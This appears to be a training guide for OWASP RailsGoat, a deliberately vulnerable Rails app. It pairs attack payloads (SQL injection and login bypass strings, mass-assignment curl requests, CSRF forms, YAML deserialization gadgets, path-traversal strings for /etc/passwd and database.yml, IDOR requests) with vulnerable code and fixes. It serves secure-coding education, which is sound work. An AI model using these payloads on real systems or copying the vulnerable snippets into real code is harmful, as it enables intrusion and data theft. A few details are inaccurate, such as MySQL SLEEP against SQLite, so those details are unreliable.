RailsGoat
RailsGoat is an intentionally vulnerable Ruby on Rails application designed to teach secure Rails development. It demonstrates common Rails vulnerabilities including SQL injection, mass assignment, CSRF, authentication bypass, insecure deserialization, and authorization flaws.
Installation and Setup
Docker Installation
# Clone RailsGoat repository
git clone https://github.com/OWASP/railsgoat.git
cd railsgoat
# Build Docker image
docker build -t railsgoat .
# Run container
docker run -d -p 3000:3000 --name railsgoat railsgoat
# Access at http://localhost:3000
Local Installation (macOS/Linux)
# Requirements: Ruby 3.0+, Rails 7.0+, SQLite3
# Install Ruby (using rbenv recommended)
rbenv install 3.2.0
rbenv local 3.2.0
# Clone repository
git clone https://github.com/OWASP/railsgoat.git
cd railsgoat
# Install dependencies
bundle install
# Setup database
rails db:create
rails db:migrate
rails db:seed
# Start Rails server
rails server
# Access at http://localhost:3000
Windows Installation (WSL2)
# Install WSL2 and Ubuntu
# In WSL2 terminal:
sudo apt update
sudo apt install -y rbenv ruby-build libsqlite3-dev
# Follow Linux installation above
Default Credentials and Setup
# Common test accounts (after db:seed)
# admin / password123
# user / password
# guest / guest
# Access console
rails console
# Create new user
User.create(email: 'test@example.com', password: 'password', password_confirmation: 'password')
# View all users
User.all.map { |u| [u.email, u.admin?] }
SQL Injection Vulnerabilities
SQL Injection in User Search
# Vulnerable endpoint: /users/search
# Basic SQLi to dump user data
# Input: ' OR '1'='1
# Full URL: http://localhost:3000/users/search?q=' OR '1'='1
# Extract admin flag
' OR email LIKE 'admin%'--
# Time-based blind SQLi
' AND SLEEP(5)--
# Union-based SQLi
' UNION SELECT 1,2,3,4,5--
# Extract database version
' UNION SELECT version(),2,3,4,5--
# Enumerate tables
' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--
Rails SQLi Code Example
# Vulnerable code in app/controllers/users_controller.rb
def search
# Unsafe string interpolation
@users = User.where("email LIKE '%#{params[:q]}%'")
render :search_results
end
# Fixed version - use parameterized queries
@users = User.where("email LIKE ?", "%#{params[:q]}%")
# Or use scopes
@users = User.search(params[:q])
# In app/models/user.rb
scope :search, ->(query) { where("email LIKE ?", "%#{query}%") }
Mass Assignment Vulnerability
Exploiting attr_accessible
# User signup form vulnerability
# Normal: POST /users with {user: {email, password}}
# Malicious: POST /users with {user: {email, password, admin: true}}
# Using curl
curl -X POST http://localhost:3000/users \
-d "user[email]=hacker@test.com" \
-d "user[password]=password123" \
-d "user[admin]=true" \
-d "commit=Sign+up"
# Using Ruby
user_params = {
email: 'attacker@example.com',
password: 'password',
admin: true # Mass assignment vulnerability
}
User.create(user_params)
Rails Mass Assignment Protection
# Vulnerable code
class User < ApplicationRecord
# Allows all attributes
def update_user(params)
self.update(params)
end
end
# Fixed code - use strong parameters
class UsersController < ApplicationController
def create
@user = User.new(user_params)
@user.save
end
private
def user_params
params.require(:user).permit(:email, :password, :password_confirmation)
# admin attribute is NOT permitted
end
end
CSRF (Cross-Site Request Forgery)
CSRF Token Bypass
# Rails CSRF protection bypasses
# 1. No CSRF token on API endpoints
POST /api/users/promote HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{"user_id": 1}
# 2. CSRF token in URL parameter (insecure)
curl http://localhost:3000/admin/promote?user_id=1&authenticity_token=TOKEN
# 3. Flash message CSRF
# Attacker can forge requests in ActionMailer templates
CSRF Form Examples
<!-- Attacker's website -->
<form action="http://localhost:3000/admin/promote" method="POST">
<input type="hidden" name="user_id" value="1">
<input type="hidden" name="authenticity_token" value="CSRF_TOKEN_HERE">
<input type="submit" value="Click here">
</form>
<!-- JavaScript-based CSRF -->
<script>
fetch('http://localhost:3000/admin/promote', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({user_id: 1})
});
</script>
Rails CSRF Protection
# Enable CSRF protection (default in Rails)
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
# Or allow API requests without CSRF token
protect_from_forgery with: :null_session, if: -> { request.format.json? }
end
Authentication Bypass
SQL Injection in Login
# Common auth bypass payloads
Username: admin' OR '1'='1
Password: anything
# Time-based authentication
Username: admin' AND SLEEP(5)--
Password: (observe 5 second delay)
# Union-based bypass
Username: ' UNION SELECT 'admin',MD5('password')--
Password: (anything)
Code Analysis
# Vulnerable authentication
def authenticate(email, password)
user = User.find_by("email = '#{email}' AND password = '#{password}'")
user
end
# Fixed version using bcrypt
def authenticate(email, password)
user = User.find_by(email: email)
user&.authenticate(password)
end
# In User model
has_secure_password # Uses bcrypt automatically
Session Fixation
Session Manipulation
# 1. Set custom session cookie
curl http://localhost:3000 -H "Cookie: _railsgoat_session=ATTACKER_SESSION_ID"
# 2. Extract session token from DOM
# Open DevTools Console:
console.log(document.querySelector('meta[name="csrf-token"]').content)
# 3. Modify session in browser
# DevTools > Storage > Cookies > _railsgoat_session
# Change user_id value
# 4. Session prediction (if weak random)
# Try sequential session IDs
# Example: ABC123, ABC124, ABC125
Rails Session Security
# Configure secure sessions
Rails.application.config.session_store :encrypted_cookie_store,
key: '_railsgoat_session',
secure: true, # HTTPS only
httponly: true, # No JavaScript access
same_site: :strict # Prevent CSRF
# Reset session on login
def create
session.clear # Clear old session
@user = User.authenticate(params[:email], params[:password])
session[:user_id] = @user.id
end
Insecure Deserialization
YAML Deserialization RCE
# Vulnerable code
def load_user_preferences(yaml_data)
YAML.load(yaml_data) # DANGEROUS!
end
# Attacker payload
exploit_yaml = %{
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
}
# Can lead to RCE via gadget chains
# Fixed code
def load_user_preferences(yaml_data)
YAML.safe_load(yaml_data, permitted_classes: [Symbol])
end
# Or use JSON (safer)
JSON.parse(json_data)
Path Traversal/Directory Traversal
File Download Vulnerability
# Vulnerable endpoint: /downloads?file=resume.pdf
# Path traversal payloads
../../../etc/passwd
../../config/database.yml # Rails config
../../../Gemfile # Dependencies
../../tmp/secret_backup.txt
# Double encoding bypass
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
# Case variation
../../../ETC/PASSWD
Rails File Download Safety
# Vulnerable code
def download
send_file(params[:file]) # Path traversal!
end
# Fixed code
ALLOWED_FILES = ['resume.pdf', 'transcript.pdf'].freeze
def download
filename = params[:file]
unless ALLOWED_FILES.include?(filename)
raise "File not allowed"
end
file_path = Rails.public_path.join('downloads', filename)
send_file(file_path)
end
# Or use absolute paths with validation
def download
file_path = File.expand_path(File.join(DOWNLOADS_DIR, filename))
if file_path.start_with?(DOWNLOADS_DIR)
send_file(file_path)
else
raise "Access denied"
end
end
Authorization Flaws (IDOR)
Insecure Direct Object References
# Accessing other users' resources by modifying ID
# View another user's profile
GET /users/1/profile (current user)
GET /users/2/profile (other user - vulnerable if no auth check)
GET /users/999/profile
# Modify another user's data
PUT /users/2 -d "user[email]=hacked@attacker.com"
DELETE /users/3
# Access admin functions
GET /admin/users (should be admin-only)
POST /admin/promote -d "user_id=1"
Authorization Check
# Vulnerable code
class UsersController < ApplicationController
def show
@user = User.find(params[:id])
# Missing authorization check!
end
def update
@user = User.find(params[:id])
@user.update(user_params)
end
end
# Fixed code
class UsersController < ApplicationController
before_action :authenticate_user!
before_action :authorize_user!, only: [:update, :destroy]
def show
@user = User.find(params[:id])
authorize_user! # Check if current_user == @user
end
def update
@user = User.find(params[:id])
authorize_user!
@user.update(user_params)
end
private
def authorize_user!
unless current_user == @user || current_user.admin?
raise "Unauthorized"
end
end
end
XSS in Rails
Rails Template Injection
<!-- Vulnerable: Unescaped output -->
<h1><%= params[:title] %></h1>
<!-- If params[:title] = <script>alert('XSS')</script> -->
<!-- Script will execute -->
<!-- Fixed: Use safe_join or escaped output -->
<h1><%= safe_join(params[:title]) %></h1>
<!-- Or use simple assignment (auto-escaped) -->
<h1><%= h(params[:title]) %></h1>
JavaScript Injection in Rails
# Vulnerable: Rendering user input as JS
respond_to do |format|
format.js { render inline: "alert('#{params[:message]}')" }
end
# If params[:message] = '); malicious_code(); alert('
# Result: alert(''); malicious_code(); alert('')
# Fixed: Never interpolate user input in JS
format.js { render action: 'show' }
Testing with Burp Suite
Setup Proxy
# 1. Configure browser proxy
# FoxyProxy or built-in proxy settings
# Proxy: localhost:8080
# 2. Start Burp Suite Community Edition
# Click "Proxy" tab
# Verify "Intercept is on"
# 3. Navigate to http://localhost:3000
# Requests appear in Proxy > Intercept
# 4. Send to Repeater
# Right-click request > "Send to Repeater"
# Modify parameters and resend
Testing Strategy
# 1. Map application (Proxy > Site map)
# Click all links and forms in RailsGoat
# Burp captures all requests
# 2. Identify vulnerable endpoints
# Look for: login, search, admin pages, file downloads
# Test each parameter for SQLi, XSS, IDOR
# 3. Use Intruder for brute force
# Positions tab: Select parameter values
# Payloads tab: Load wordlist
# Attack type: Cluster bomb (multiple parameters)
# 4. Test authentication
# Modify session cookie value
# Test if sequential IDs work
Manual Testing Workflow
Reconnaissance
# 1. Explore application
# Click all links in RailsGoat
# Note all parameters and forms
# 2. Check page source
# View source (Ctrl+U)
# Look for hidden fields, comments, endpoints
# 3. Test input fields
# Login form, search box, file upload
# Comment sections, profile fields
# 4. Examine cookies and storage
# DevTools > Application > Cookies
# Check _railsgoat_session, csrf-token
Vulnerability Testing
# 1. SQL Injection
# ' OR '1'='1' --
# Test in search, login, filter fields
# 2. Mass Assignment
# Modify form data to include admin=true
# POST with extra parameters
# 3. CSRF
# Craft form that auto-submits
# Test without CSRF token
# 4. Authentication Bypass
# SQL injection in login
# Session token manipulation
# 5. Authorization
# Modify user ID in URL
# Access admin pages without permission
Browser DevTools Exploitation
Console Techniques
// Extract CSRF token
document.querySelector('meta[name="csrf-token"]').content
// Steal session cookie
document.cookie
// Extract data from page
document.querySelectorAll('table tbody tr').forEach(row => {
console.log(row.innerText);
});
// Modify DOM for testing
document.querySelector('input[name="admin"]').value = 'true'
// Make API requests
fetch('/api/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({user_id: 1})
})
Network Tab Analysis
# Monitor all requests
# Filter by XHR (XMLHttpRequest) / Fetch
# Examine headers
# Look for: Authorization, X-CSRF-Token, Set-Cookie
# Check for security headers (missing = vulnerability)
# Check response bodies
# Error messages often reveal database structure
# API endpoints may expose sensitive data
# Identify parameters
# Note all request parameters
# Test each for vulnerabilities
Common Vulnerabilities to Test
| Vulnerability | Test Method | Impact |
|---|---|---|
| SQL Injection | ’ OR ‘1’=‘1’ in search | Data theft, auth bypass |
| Mass Assignment | POST admin=true | Privilege escalation |
| CSRF | Form auto-submit | Unauthorized actions |
| Session Fixation | Set custom session ID | Account takeover |
| IDOR | Modify user ID | Access other users’ data |
| Path Traversal | ../../../etc/passwd | Read system files |
| XSS | Session hijacking | |
| Auth Bypass | SQL injection in login | Admin access |
Secure Rails Patterns
Strong Parameters
# In controller
def create
@user = User.new(user_params)
@user.save
end
private
def user_params
params.require(:user).permit(:email, :password, :password_confirmation)
end
SQL Parameterization
# Bad
User.where("email = '#{params[:email]}'")
# Good
User.where("email = ?", params[:email])
User.where(email: params[:email])
# With scopes
scope :by_email, ->(email) { where(email: email) }
User.by_email(params[:email])
Authorization
# Pundit gem
authorize @user
# CanCanCan gem
authorize! :update, @user
# Manual checks
def authorize_user!
redirect_to root_path unless current_user == @user || current_user.admin?
end
Best Practices for Learning
- Complete challenges in order of difficulty
- Understand each vulnerability type thoroughly
- Try multiple exploitation methods
- Study the vulnerable code in app/
- Review the fixed code versions
- Document your findings
- Practice regularly with different parameters
- Use both manual testing and automated tools
- Focus on understanding root causes
- Compare your techniques with Rails documentation
Resources
- OWASP RailsGoat GitHub
- Rails Security Guide
- OWASP Top 10
- PortSwigger Web Security Academy
- Rails Best Practices
- HackTheBox
- TryHackMe
Last updated: 2026-03-30